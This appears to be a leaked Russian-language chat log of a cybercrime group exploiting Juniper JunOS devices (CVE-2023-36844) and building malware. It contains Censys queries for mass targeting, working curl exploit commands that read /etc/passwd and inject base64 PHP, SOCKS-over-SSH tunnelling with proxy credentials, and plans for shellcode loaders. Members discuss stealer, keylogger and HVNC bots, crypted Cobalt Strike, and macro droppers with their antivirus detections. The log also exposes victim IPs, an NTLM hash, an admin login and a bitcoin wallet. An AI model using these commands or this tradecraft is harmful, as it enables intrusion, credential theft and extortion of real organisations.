CheckedAccessJuniperVulnerable.txt

вот валидные ссх, которые на данный момент есть

> <@usernamegg:matrix.bestflowers247.online> а можно как то страны определить ?

+

я разобрался вроде как только что бы создавать супер юзера как

вместо рута

но челики у тебя разобрались как создавать юзера

Copyright © 2016, Juniper Networks, Inc.

https://5.22.138.190/

вот тут 2019

чисто в теории мы же можем уебать любую джуну

да?

lf

привет

нормально, так массово ебашить тоже такое себе

```

закроемся по деньгам?

надо на каком нибудь только не китае тестить все))

попробовать надо чекнуть

кош bc1qlwnwnt9vfrf972zcyfrfa9q5l3tlah3yfru6uh

1350

я щас собрался идти в censys искать джуны

1k_usa.txt

я уже там)

там 1500 в усе

но ценсус 1к дает унести

по какому запросу делал?

``(services.software.uniform_resource_identifier: `cpe:2.3:o:juniper:junos:*:*:*:*:*:*:*:*`) and location.country=`United States```

``services.software.uniform_resource_identifier: `cpe:2.3:o:juniper:junos:*:*:*:*:*:*:*:*```

ок

Results: 11,793

да

WithCountryCheckedAccessJuniperVulnerable.txt

такой формат делать?

``(junos) and services.software.product=`JunOS```

Results: 11,321

((junos) and services.software.product=`JunOS`) and services.service_name=`HTTP`

Results: 11,322

`https://search.censys.io/search?resource=hosts&virtual_hosts=EXCLUDE&q=%28%28services.software.uniform_resource_identifier%3A+%60cpe%3A2.3%3Ao%3Ajuniper%3Ajunos%3A%2A%3A%2A%3A%2A%3A%2A%3A%2A%3A%2A%3A%2A%3A%2A%60%29+and+services.software.vendor%3D%60Microsoft%60%29+and+location.country%3D%60United+States%60`

да нахуй штаты нужны

не нужно трогать штаты

нужно тестить на залупе какой нибудь

украина пойдет

для тестов

ну или африка какая нибудь

индусы?

индусов не стоит

если спалят вонь начнется - а их слушать будут как не странно

я просто переживаю за целостность эксплойта

пока поебаться нужно разобраться на ебале всякой понять как то се работает

там озкаывается на каждую команду вопрос можно ставить

что бы получать хелп типа

в cli

например

cli show ?

ну итд

в пм)

спамить не надо

WithCountryCheckedAccessJuniperVulnerable.txt

вот что есть на данный момент

с шодана нужно экспортировать как-то все айпишники с портами и поставить на чек

ну айпи + порт

да новым

ок напишем

+

++

спс

> <@usernamegg:matrix.bestflowers247.online> вместо рута ?

зачем повъебывали кучу серверов?

если мы не разобрались еще

это ошибка

да даже такое количество может вызвать алерты

ты понимаешь что могут стоять где то ханипоты?

и пизда будет

будет новость раньше чем она должна быть

дак это пиздец

ну ssh есть, только мы дальше не ебем что делать пока что

и это еще доступ в панель тоже

ну да

ок, ну я сам хз, что вам нужно там

может другие ребята поймут, что сделать

+

он не разберется

он уже помог один раз

я манал, у меня есть чел который умеет настраивать циски итд

я уже думал у него спросить шарит ли он за juniper

> <@usernamegg:matrix.bestflowers247.online> новости выйдут он все поймет

хомяк пока будет разбираться заруинит)) он уже один раз мне заруинил vcenter))

> <@usernamegg:matrix.bestflowers247.online> комп тееб собирал

у меня какая то хуйня эксплойт не отрабатывает проблема на моей стороне

```

пофиксил эксплойт

добавил в код строку

`requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += 'DEFAULT:!DH'`

```

import sys

* ```

вот так сделал и все запахало))

да все норм я пофиксил))

интересно почему интерактивная консоль не работает что бы входить в cli

понял

ты прям с компа запускал экспу что ли?

AccessJuniperVulnerable.txt

ну я еще перечекиваю, это не конечный результат

там еще будет http протокол

ща этот полный список еще по странам тоже сделаю

даже подругому сдела, если валидный ссх, будет помечено, если не валидный, сначит ссх будет не указан просто

WithCountryCheckedAccessJuniperVulnerable.txt

вот в таком формате тогда сделаю

no ssh это значит что не получилось по ссх подключится

скоро страны тут обработаются и сброшу

привет. будут файлы каие?

https://37.247.108.1:12942

смотри на каком порту висит

https://raw.githubusercontent.com/watchtowrlabs/juniper-rce_cve-2023-36844/main/watchtowr-vs-junos_juniper_2023-08-25.py

спроси у кодеров своих это разве не этот эксплойт?

`fsalazaro::GRUPPOCOPPOLA:1122334455667788:a7994b28199067946003ea63a00ad72f:0101000000000000fa506df58818da01f2db94381164bfd100000000080030003000000000000000000000000020000091427363d884535c92af5eae55cfbe7bfb76abb8a2127edac6bbdbf731ba94eb0a0010000000000000000000000000000000000009002e00470052005500500050004f0043004f00500050004f004c0041005c006600730061006c0061007a00610072006f000000000000000000`

Вот например уязвимая 186.154.106.99

у нее SSH висит на 830 порту

WithCountryCheckedAccessJuniperVulnerable.txt

вот нашел

197.234.82.105

ее у тебя в списке нет

уязвимая проверил

да сука что то найти не могу

213.165.163.116

вот тоже в списке нет уязвимая

вот тоже в списке нет

https://213.125.82.106:1024

порт 1024

отойду мин120

оки

погодите

я доделываю еще скрипт для пролива

и я перепроверю их еще

нужно массканом весь мир чекать

плюс я толькое https проверил

на дохуя портов

и собирать по сервисам или по favicon

по favicon наверно не стоит собирать даже может они меняют их в каких то версиях я хз

ты взял сервер под masscan?

пасиб +

> <@usernamegg:matrix.bestflowers247.online> вот нашел

будет только больше уязвимых, потому что уже вижу что на http не мало есть

там же еще два варианта получения сесси

* там же еще два варианта получения сессии

вчера только один вариант сделал, сейчас вот второй деделал

короче еще будут валиды

пока с этим разберитесь)

+

ок, ну я максимально юзаю что есть и как могу

Пополни, пожалуйста, номера по 2000 р., у нас интернет отключился:

так, ну я их отдельно не сотрировал

скоро напишу скрипт и выдам

```

---

```

вы чистите логи после себя когда все создаете?

просто когда пишешь exit

в эксплойте он за собой подчищает лог въеба

```

https://193.15.196.82:443

вот например

но еще тоже перепроверю их

> <@usernamegg:matrix.bestflowers247.online> у меня еще с челом сейчас будет неприятный разговор по счет этого эксплойта так как я не вижу смысла ему платить пока всю сумму

> <@usernamegg:matrix.bestflowers247.online> ты лучше разберись как в сеть попасть через этот сервак

в поте лица как говорится

))

---

citycontainer.dk

```

```

> <@usernamegg:matrix.bestflowers247.online> sent a file.

> <@usernamegg:matrix.bestflowers247.online> sent a file.

> <@usernamegg:matrix.bestflowers247.online> sent a file.

> <@usernamegg:matrix.bestflowers247.online> sent a file.

привет

да так себе

точками занимаемся

да вот отвлекаться приходится

херово чето, вобще нифига не приходит

плохо ведутся

> <@usernamegg:matrix.bestflowers247.online> sent a file.

легенду нормальную надо

> <@usernamegg:matrix.bestflowers247.online> sent a file.

ну мы msi с EV делаем

привет!

кобу криптованую

> <@usernamegg:matrix.bestflowers247.online> sent a file.

рантайм?

да пока решили просто обкатать схему

полигон еще в процессе

ну это да, скорее всего рантайм там есть

у нас коба там модифицированая малость

кодер шаманил

ну хз, конечно не лучший вариант

да, согласен

щас вот по боту занимаюсь, докручиваю стилак, делаю авто синхронизацию по HVNC, Stealer, KeyLogger

а чего как ваш бот?

норм стучит?

и как раз думаю что можно слать

http://178.18.64.2/

пока ничего в голову не приходит

зайдите у всех сразу на рута зайдет автоматом?))

щас вот недавно шерстил что вообще шлют

ЖООСТКО

ничего нового или интересного

пикабот )

да

прикол

я щас как докручу стилак, именно буду уже на панели показывать пароли, и так далее, если у бота есть амазон после того как стилак стянул у него все, то будет показывать что там в самом списке ботов, пока буду показывать только AMAZON, OUTLOOK, CRYPTO WALLETS

эх да я бы с удовольствием

но гложет меня страх

если они увидят что квак снова поднял голову, опубликуют меня, и гадости какойнибудь понапишут

а если точечно слать

то особо не заметят

с другой стороны потери отбивать надо

> <@usernamegg:matrix.bestflowers247.online> CRYPTO WALLETS тогда надо будет всех попереть когда спам идет

> <@usernamegg:matrix.bestflowers247.online> там уже можно запускать прогладитов

> <@usernamegg:matrix.bestflowers247.online> там уже можно запускать прогладитов

> <@usernamegg:matrix.bestflowers247.online> они же у же пробили когда ты и куда прилетал

я в дубаи собирался, апарты свои навестить

ладно буду пока бота допиливать, а там видно будет

а ты все так же планируешь 15 декабря на месяц в отпуск уходить?

отлучусь на пару часов... приду сброшу еще ссх

пока чекаются еще

ну да

RCE?

> <@usernamegg:matrix.bestflowers247.online> хуй знает как попасть в сеть

`operating_system.uniform_resource_identifier="cpe:2.3:o:juniper:junos:\*:\*:\*:\*:\*:\*:\*:\*" and services.http.response.body: *SRX*`

вот составил запрос

8к таргетов это все уязвимые вроде как

`operating_system.uniform_resource_identifier="cpe:2.3:o:juniper:junos:\*:\*:\*:\*:\*:\*:\*:\*" and services.http.response.body: *SRX* and location.country_code=US`

вот чисто US

я по services.http.response.body понял

ага, щас посмотрю

может подскажу тчо

ну да, занимаюсь

выставили

у меня там есть норм чел, он занимается

ага спсб

image.png

смотри

я так понял там идет VPN 2

один идет к обычную серверу в jakarta

другой уже IP - microsoft

image.png

```

вот что в конфиге прописано

у них

вот походу их вся сеть в конфиге

rule POC-DASHBOARD-VCDHANA {

вот правила

типо если такой локал IP, то пропускаем на этот пул

inactive: rule POC-PLATSPIN {

> <@usernamegg:matrix.bestflowers247.online> sent an image.

FW1-SF-3.txt.conf

вот смотри, это их полностью конфиг сети

> <@usernamegg:matrix.bestflowers247.online> да , но а как создать подключение или поднять сокс что бы сканить начать

ну на самом серваке

надо попробовать туда пингануть

и посмотреть проходит ли

по идее с этого сервака везде должно пропинговываться

ибо он роутит

можно реугляркой выбрать все IP,который там есть

из конфигам

`\d+\.\d+\.\d+\.\d+`

вот такой

там же bash обычный когда по SSH подклчюаешься?

вот

отлично

там же линуха

у вас есть шк сокса?

ну да, шел

вы делаете обычный запукатор Shellcode в .elf формате

кодер, который писал локера, сможет такое сделать

если у вас есть шк сокса

или можно попробовать на python сделать обычного сокс бота и скомпилить его под в linux amd64 or arm64

зависит от того что стоит

и туда уже бить сканер

вот

отлично

он же под линуху7

на JunOS нет же питона

но elf файл могу сделать

под линухой же все рабоатет?

ааа инжектор на elf такое не могу))

```

вот сюда тыкаете шк

ну .bin

> <@usernamegg:matrix.bestflowers247.online> на JunOS нет же питона

делайте elf файл

и запускайте там

> <@w:matrixtcFJHPDblmt2rg.network> ```

yy: придется писать socks бота на python или сразу на linux ))

🤡

python мофь!

ага

> <@usernamegg:matrix.bestflowers247.online> sent a file.

или как его там

щас сек

надо смотреть да

это проде не bin шелл код

не raw

это C

> <@usernamenn:matrix.bestflowers247.online> это C

ага, щас сек

кароче есть идея

шеллкод это бинарный код исполняемой части файла

щас может из под golang можно сделать под junos

а формат сишный

шелл кода

может есть какой то в паблике сокс сервак обычный под golang

и golang скомпилить под junos

дак elf файл от меты

и из под него уже работать

в msfvenom

нет, это обычный набор байт, он написат с ескейпами чтобы не писать тип 0x48 0x32 и тд

🍿🤔

> <@usernameyy:matrix.bestflowers247.online> нет, это обычный набор байт, он написат с ескейпами чтобы не писать тип 0x48 0x32 и тд

freebsod

там походу стоит

вряд ли там контейнер

а зачем нам писать инжектор не совсем ясно

https://github.com/projectdiscovery/proxify

а на этой неделе будут загрузки?

https://github.com/projectdiscovery/proxify

ааа, понял

тю

> <@usernamegg:matrix.bestflowers247.online> sent a file.

а дай .bin файл

ок

ага, а на этой jun os запускается от венома файл?

от меты точнее

это под linux, верно?

ага

тоже видел

щас пару минут тогда разберусь

дай мне какой то ssh с этой Jun os

я попробую поднять там сокс какой то

+++

да, щас я посмотрю что там за ос стоит

всю инфу точно узнаю

какая архитектура, чтобы я понимал, что билдить

заходи куда то на ssh

start shell

и там запускай

или ты так пробовал?

вот этот .out

который ты уже запускал

понял суть?

start shell - запускает unix shell из под junos

Точнее было бы правильнее сказать выходит из junos

в обычный unix shell

то куда мы попадаем в ssh это условная прокладка по типу busybox

их ставят как заглушки или доп свою интерпретируему среду, когда делаю скалинг

```

нет не запускал

щас запущу

> <@usernamegg:matrix.bestflowers247.online> sent a file.

не, хероня какая то

походу надо порты прокидывать

по ssh

а не, сек

херню сказал

`connectwise.com_passwords`

слушай

`curl "https://81.246.111.227/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"' --insecure`

я тут команду нарыл

и она отрабатывает в точности так же как наш эксплойт

скажи этому челу что это пиздец помоему

да у них согласен метод немного другой

но суть та же через этот же багованный .php файл дивж идет весь

ELF 32-bit MSB MIPS32 rel2 executable, MIPS, version 1 (SYSV), for FreeBSD 6.1, dynamically linked (uses shared libs), stripped

не ну разобраться как заходить в сетку интересно, потому что это пиздец

вот такие файлы надо билдить

щас пару минут

через curl я только что получил информацию phpinfo

`curl "https://81.246.111.227/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="' --insecure`

вот команда

подниму для вас

попробую

пару минут

обычный на golang

сервак сразу там

по порту

вы тупо к нему коннектиться будете и все

на golang

щас билды сделаю

скину логин и пасс

и порт на котором будет сокс разворачиваться

да, окей

+++

interneta net u nas

toka u JJ

tranza BTC zavisla

dengi na telefone kon4ilis

s bitkami

da

pisali je

pol dnya bez ineta sidim

VV eto ya pushy

pishu

tak otveta ne bilo iskali vixod

nu ok mi tak prosto bez ineta sidet budem

a kak po drugomu? esli otveta net

mi davali v lichku je

Пополни, пожалуйста, номера по 2000 р., у нас интернет отключился:

jdali davno

u nas net sim tut

> <@usernamegg:matrix.bestflowers247.online> кто мне это писал ?

> <@usernamegg:matrix.bestflowers247.online> дайте мне другие номера чистые

otveta ne dojdalis

reshil popolnit bitkom

v potolok pluem sidim

> <@usernamejj:matrix.bestflowers247.online> ix net

net simok

megafon

> <@usernamegg:matrix.bestflowers247.online> сейчас отправлю вам симки

shas smisl

vozmu megafon mts

++

ыул

сек

делаю билды под эту ос

тут

что там?

позвал в мету

```

без захода на ssh

сразу в параметр эксплойта передал base64 с пейлоадом php

* сразу в параметр пейлоада в эксплойте передал base64 с пейлоадом php

теперь у него инет сломался

95.181.173.181 что-то с сервером стало

ждем вашей синхронизации

главное не уходи

👌

++

не могу что-то по схх зайти

ладно, другой возьму са

* ладно, другой возьму сам

хуйня права гавно

nobody права

mcat

кароче вот прокси сервер

доступен он вот так

sodFIGN8W3:3NRG93RE@127.0.0.1:8573

подключаться к нему можно ченрез прокидывание портов ssh

ssh -L 8573:localhost:8573 jmy@ip

вот, когда запускаете его на тачке он откуда прокидываете порты

можете подключаться к этой проксе

просто она кк бы будет тунелирования через ssh

и кароче суть в другом

на этих тачках в тупую нельзя ничего запустить походу ....

этот билд прям для этих тачек

прям для этой ос

misp linux

вот прям для них

запуск идет только так ./mcat

но пишет Auth error

кароче хуй что запустить

sh mcat когда делаешь

оно думает, что ты пытаешься баш скрипт запустить, из-за этого хуева туча ошибок летит это нормально

а вот то что там запустить нихуя нельзя, это уже пиздец как ненормально

я щас думаю как запустить шелкод какой то прям из SH

раз его мы можем запустить, значит надо думать, что мы можем запустить из под SH

примерно 60% было валида

на фтп7 нет в папке сетки?\

дроч какая то

+++

> <@usernamegg:matrix.bestflowers247.online> паралельно с вами тут чел будет чекать с этого офиса и если он проебется хоть в одной строчке и скажет что она не валиадная а у вас она будет валидная с него - 1000(это молодая женщина, ХХ поймет кто это )

редкая хуйня походу этот junos

нельзя там в вашем сплойте запустить что то?

или вы толкьо acces туда получаете?

> <@usernamejj:matrix.bestflowers247.online> тогда касарь наш))) это хх

да пиздец прям

надо думать как через ssh туда прокинуться

чтобы как ssh проксирование выступало

скоро

мне нужно эксель ставить еще

время займет

через торрент

magnet:?xt=urn:btih:8cd094a2a51b778d092a4316f3e1f2a85c9515d1

utorrent сначало ставите

а потом этот линк открываете в браузере

`/data/www/2/ABBARCH` фтп 6. если будет быстрее то попробуй сам. у меня как скачается я на file.io залью

https://i1ovfbpnlgg0hjks.tech/9568c16f-b420-43dc-8a59-f3500b0628fe/bot/22721

вот кстати гляньте эту сетку

9кк

https://www.zoominfo.com/c/vulpia-ag/425043423

мелочь вообще, но может что то будет с нее

сегодня дошла

скачивают пока установщик офиса

спалило

после того

как много два раза размешил запуск макроса

Misleading:Win32/Lodi

C:\temp\Putty.exe

пути даже спалило)

Lodi видимо сначит loading

загрузка

палит видимо скачивание exe

и на проверку там что-то отправить 4 файла хочет

паблик эксплойт хуйня

там не рут

ща прове то, что он ще сбарсывал

PuttyTest.docx это я этот проверял

```

p1.xll вакатак при скачивании

ща еще дедик перезапущу

и проверю p2.xll

бля, если пути палит)

то на exe точно будет палить

там палит вообще видимо сам процесс скачивания exe

ну так почистит пусть

или он не будет чистить?

да

могу

щас

именно EXE?

p2.xll не смог скачать

вакатак

скоро скину билд

```

`https://braspor.pulseway.com/app/:administrator:ty12$FD@18`

```

да у меня тоже отключена

по нагрузке пока тишина?

https://www.officeholidays.com/countries/usa/2023

нет идей?

https://www.youtube.com/watch?v=w_418TpvBMg

вот видос как юзера с супер правами создавать

уже все перелопатил

пизда просто какая то

Тигр так соскучился по работе что уже 2 день его нет))

ага, запущу

щас сек, я билд скину тебе

PASS: f161583e7a32f4aa99918fdb2e97e65a

dropper_GG10TH_EXE_f0adda360d2b4ccda11468e026526576_dVxDTJuO.zip

vot exe

> <@usernamegg:matrix.bestflowers247.online> через curl я только что получил информацию phpinfo

сегодня ночью или завтра с утра точно запущу

сейчас позову

> <@usernamegg:matrix.bestflowers247.online> ХХ

да кроме геймеров

> <@usernamegg:matrix.bestflowers247.online> ...🔥🔥 Добавлены *.url / *.lnk эксплоиты

+

у меня тоже

Trojan:O97M/Sadoca.C!ml

такой дедект сразу же на док файл

Program:Win32/Wacapew.C!ml

палит)

у него все грязное тупо

и я думаю там все тот же макрос обычный

который сапп нам собирал

> <@usernamegg:matrix.bestflowers247.online> citycontainer.dk

ну я не сброшу

не бду у вас работать

там привязка по айпишнику

https://proxytraff.com/ тут возмите

https://proxs.ru тут еще можете

ладно, я наверное все на сегодня. завтра еще почекаем док или эксель, если сбросит

+

> <@usernamegg:matrix.bestflowers247.online> sent a file.

аа

ну потому что спалило

Misleading:Win32/Lodi

ебать там дедектов

я в ахере

Trojan:Win32/PackInjector.MB!MTB

я даже писать уже не буду

5 штук где-то

что за док он вообще выдал?

Trojan:Win32/PackInjector.MB!MTB

Trojan:MSIL/AgentTesla.RB!MTB

даже такой дедект был

там точно пути?)

что он вообще сбросил

и док без обманки кстати

пустой лист просто

Как думаешь, на этой неделе какая то сетка заплатит?